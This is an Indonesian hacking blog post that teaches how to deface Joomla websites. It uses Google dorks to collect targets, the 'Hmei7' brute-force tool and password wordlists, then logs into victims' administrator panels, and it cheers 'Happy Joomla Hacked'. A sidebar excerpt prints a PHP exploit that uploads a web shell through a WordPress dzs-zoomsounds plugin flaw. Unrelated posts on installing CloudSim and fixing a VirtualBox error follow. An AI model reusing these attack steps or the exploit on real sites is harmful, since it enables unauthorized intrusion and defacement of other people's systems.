Skip to main content

Tutorial Deface Joomla dengan BruteForce Attack menggunakan tool Hmei7

By




Hallo Fans,  Nuenomaru disini .-.
maaf baru bisa posting/share artikel tutorial lagi
lg sibuk urus masadepan *asiikk wkwkwk >.<
btw ini tutorial/artikel pertama kami di bulan Oktober :*

untuk artikel hari ini saya akan share salah satu bug/celah web berCMS JOOMBLO , EH JOOMLA DEH WKWKWKW..

Sebenernya Teknik BruteForce ini banyak tool yang menyediakannya.
gak cuma CMS Joomla doang kok yang bisa di BruteForce, tpi CMS Wordpress juga bisa ^^
dan dalam artikel ini kita akan gunakan tool buatan Hacker Legend asal Indo yaitu Hmei7 >3<


Langsung INTIP TUTORIAL Nya Mz :v


YOO , gunakan Imajinasi kalian, yang suka maen tebak2an :v atau yg berimajinasi tinggi *kang nonton bokep .. pasti Crotz nih


1. Dork
inurl:"/templates/beez5/"
intitle:Index of /administrator/
atauu cari web yang berbasis CMS Joomla
 (sisanya kembangin dewek dorknya :3 )

2. Brute v.2 | download di sini
Drive Google TKJ Cyber Art
4Shared


3. Wordlist (utk passwordnya, kalo username kan biasanya Joomla itu "admin")

step:
Yah seperti biasa, kalo mau nyari target silahkan gunakan dork, kembangin dorknya biar lebih maknyoos :D



- Nah, kalo sudah nemu banyak targetnya silahkan kumpulkan dan simpan dalam file listsite.txt,
- ya begitulah :p dan kalo list passwordnya mo dibanyakin juga boleh :p ( search di google big wordlist :3 )




nah kalo listsite dan wordlist nya dah siap.
tinggal buka toolnya:
- pada kolom Username bisa kalian ubah dari admin jadi apapun yang kalian suka *tpi joomla rata2 ya admin
- pada kolom password, klik load from file, masukan pass.txt
- lalu klik tombol Scan, nanti secara otomatis tool aakan menScan live target/list target yang sudah kalian simpan di file listtarget.txt
- klik pengaturan, isi sesuka anda :*

jika berhasil muncul kek gitu tuh:


Done


langsung deh login di: www.target.co.il/administrator





untuk Tutorial upload di CMS Joomla: Touch Me Senpai ;*



bila ada kesalahan mohon di maafkan dan dibenarkan di kolom komentar kak
bila ada kritik, dan pertanyaan langsung aja kak ke wall fanspage kami: TKJ CYBER ART
Happy Joomla Hacked !!
Sekian dan semoga bermanfaat .. terimakasih





./Nuenomaru


















Visit and follow :

FP         : TKJ Cyber Art
G+         : TKJ Cyber Art
youtube : TKJ Cyber Art
BBM      : C0018D1A2


Labels:

Comments

Post a Comment

Popular posts from this blog

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

By
################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...
Post a Comment
Read more

How to Install CloudSim in Ubuntu (in 3 easy steps)

By
The contents of this DIY has been tested on Ubuntu 12.04 LTS x64 with CloudSim 3.0.3 beta and JDK8u11 x64. It should work similarly on other distros of Ubuntu and for different version of JDK as long as you use Java version 1.5 or newer. The text shown in RED in the DIY represents the values that will differ depending upon your JDK version and locations. CloudSim is a framework for modelling and simulating cloud computing infrastructure and services. In this DIY we will see how to install CloudSim in Windows easily and efficiently. A more detailed description, APIs and research papers related to CloudSim can be found here . Let us begin. Step 1: Setting up the Prerequisites 1. First of all we need to download the CloudSim and latest version of the Java Development Toolkit (JDK). CloudSim can be found here . 2. CloudSim requires a working Java installation. So, open up a terminal and run the following 1 sudo add-apt-repository ppa:webupd8team/java 2 sudo apt-get...
Post a Comment
Read more

[Solved] Error relaunching VirtualBox VM Process: 5 | VirtualBox won't start

By
In this article we are going to discuss about the 'supR3HardenedWinReSpawn' error. When i was exploring the Cisco IOU  tool, I had to import a Cisco IOU VM which was in OVF file format. But as soon as i double click the ovf file, VM refused to start and an error popped up, saying: Error in supR3HardenedWinReSpawn Result Code: E_FAIL (0x80004005) Component: Machine Interface: IMachine {480cf695-2d8d-4256-9c7c-cce4184fa048} And another message was also given in addition to the above, Error relaunching VirtualBox VM process: 5 Command line: '81954AF5-4D2F-31EB-A142-B7AF187A1C41-suplib-2ndchild--comment Fedora32 --startvm fd699e30-a77b-4eac-8ced-1210d756855d --no-startvm-errormsgbox' (rc=-104) The error that you receive might not be as exact as it's given here, since VM details are also part of the error. For example, If you look at the error shown above, My VM name 'GNS3 IOU VM' is also part of the error.  Why do I see this error ? Well, When i was doing a litt...
Post a Comment
Read more